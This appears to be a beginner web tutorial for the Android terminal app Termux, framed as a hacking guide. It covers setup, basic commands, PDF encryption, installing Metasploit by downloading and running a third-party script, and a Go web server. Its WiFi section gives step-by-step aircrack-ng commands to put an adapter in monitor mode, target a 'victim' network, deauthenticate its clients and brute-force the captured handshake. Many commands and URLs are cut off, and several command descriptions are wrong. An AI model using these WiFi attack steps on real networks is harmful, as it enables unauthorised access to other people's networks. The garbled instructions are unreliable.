-->

Termux one for all Tutorial for Hacking


Termux Guide For beginners

Termux is available on Google PlayStore and F-Droid. Its free download and easy to use.
Let’s set it up now that we have downloaded the app. Since it’s a command line app like DOS, you have to rely on your memorising skills to master the app. Type the command:
“pkg upgrade” to update all the built in packages then run
“touch.hushlogin” . This helps unlock all the packages which you will require for your work.

Moving on to setting workspace. TERMUX provides the following as default save location for all your files:
/data/data/com.termux/files/
But you can also change location by using the following example code:
mkdir notes gh homework temp
Next is configuring the dotfiles. Following is an example:
cd gh && git clone https://g
Now install the basic packages using the following example and then Type exit to exit and enter the terminal again. The code is:
pkg install coreutilstermux-
Now you got a wicked terminal. Shorthand commands are:
n: cd $HOME/notes
nn: cd $HOME/notes && vim
t: cd $HOME/temp
gh: cd $HOME/gh
hh: cd $HOME/homework
Additionally you can just type the name of the directory and cd to it.If you want to have tmux run automatically when you enter the shell:
echo “tmux” >> ~/.bashrc
Pro tip: long press to copy/paste, change color scheme and change font!
The uses of TERMUX are limitless. There are people who host servers using it, some download youtube videos using it as sort of incognito mode methods plus there are also you-know “research” stuff done by certain individuals.

Given it’s a software, its list of useful commands are also limitless. Below is a list of sample commands provided by my friends used in TERMUX acquired by me due to sheer lack of proper resource material available for this paper. Here are the codes with their descriptions:
pip install youtube-dl For installing Youtube-dl
Packages install python Installs Python
termux-setup-storage Gives TERMUX access to your file system
mkdir ‘dir-name For creating directory
cd “dir-name” For changing directory
cat “file-name” For reading any file
mv /path/file /path where file is moved For moving files from one path to another.
cp /path/file /path where to copy file For copying files from one path to other
rm filename.file-extension For removing mentioned file from a certain directory.
ping “website URL” Helps verify IP level connectivity
toilet -f mono12 -F gay “your text” Presents text in a specified format.
apt show (app-name) Gives a short but detailed summary on mentioned name of desired app.
apt show (app-name) Installs the desired app
How To Hack Using Termux ?
#1. How to encrypt, decrypt PDF files using TERMUX
Following is the list of “ingredients” required for preparing this combo:
1. Termux : Download Link
2. PDF Unlocker: Download Link
3. GitHub Link: https://github.com/jesparza/peepdf.git
Step #1: Run TERMUX, execute the following code and Press Enter. The code is:
“pkg update &&pkg upgrade &&pkg install python2 &&pkg install git”
The Result? The mentioned packages are installed in your system.
Step#2: Type the following code and press ENTER. The code is: “cd peepdf”.
Step #3 : Now type command chmod +x peepdf.py and Press Enter
Step #4: Type command python2 peepdf.py -i and press Enter.
The steps above help in installation of PDF Unlocker in system.
Now we come to the Encryption part.
Step#1: After opening the PDF, type command encrypt Yourpassword Here “YourPassword” is Password for PDF file to open.
Step#2: then type command “save” and press Enter which makes your PDF Password Protected – a note pops up on your screen describing the same.
#1.1. How to decrypt files
Step#1: Open the file again by command open -f /sdcard/FileName.pdfand press Enter.
Then type command decrypt YourPassword and press Enter. Password must be the same as set to encrypt the same PDF. In case of problem, PDF Unlocker is always there to help you out.

#2. Install Metasploit Using Termux
The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Following are the steps you need to follow to install Metasploit:
#1: Install Termux from Google Play-Store
#2: Open And Wait it for its Installation process.
#3: Now type this Command
apt update
#4: After updating completed type this command
apt install curl
#5: Now Type
"cd $HOME"
#6: Now type/copy this command
curl -LO https://raw.githubu
#7: After above file is downloaded, type
ls
#8: You’ll see a .sh file. Now type this command
chmod +x metasploitTechzindi
#9: Now Run A Script By Type Command
sh metasploitTechzindia.sh
You’ll see a process is started. So wait until it ends.
[Warning] : Don’t turn off your data connection or wifi connection.
#10: Now type,
ls
You’ll be seeing a metasploit-framework Folder.
#11: Open a folder by typing in
cd <yourfoldername>
#12: type “ ls ” command, you’ll see a list of files & folders.
#13: Now Type “ ./msfconsole ” to run Metasploit.

#3. How To Hack Wifi Using Termux [Termux WiFi hack commands list]
There is one software called “ aircrack-ng ” which you need to first download using Google’s help. Then follow the steps given below:
First connect your wife-adapter to your device :
1) Friends first open Your Gnu Root Debian terminal or root terminal and start the monitor mode by typing these commands :
airmon-ng
airmon-ng start wlan0
2) Now start the network detecting by typing this command :
airodump-ng wlan0mon
Here you see your target device and stop the detecting by control + z .
3) Now create one folder and name it cap on your desktop or sd card and also create a password list to brute force the WiFi handshake ,collect the information about victim and create the password list for brute force.
4) Copy victim’s BSSID and also note the target channel CH number and type this command :
airodump-ng -c 6 --bssid00:2
There you must give the cap folder path if your created this cap folder on sdcard then you can give this path : -w /sdcard/cap/ wlan0mon
5) Now open another terminal and disconnect all devices with this command and capture a wifi handshake type same command but use here target bssid :
aireeplay-ng -0 5 -a 00:26:4
now stop attack by control+z and close the terminal
6) now paste the password list in your cap folder and also go into the cap folder directory
Now crack with this command :
aircrack-ng -w pass.list 01.
7) this is a brute force attack if any password match to the handshake then it will be cracked.and you get the key (means passwords)

#4. Turn Android Device into a Web Server
First of all I have to say that this experimental is tested and worked only with the Iris web framework , written in Golang and Android version 5.1.
Following are the steps:
#1: Install & open termux
#2: Execute the following commands by order
$ pkg install git $ pkg install golang $ export GOPATH=/data/data/c $ go get -u -v github.com/ka $ cd /data/data/com.termux/f $ go run main.go
#3: Open your favorite browser and navigate to http://localhost:8080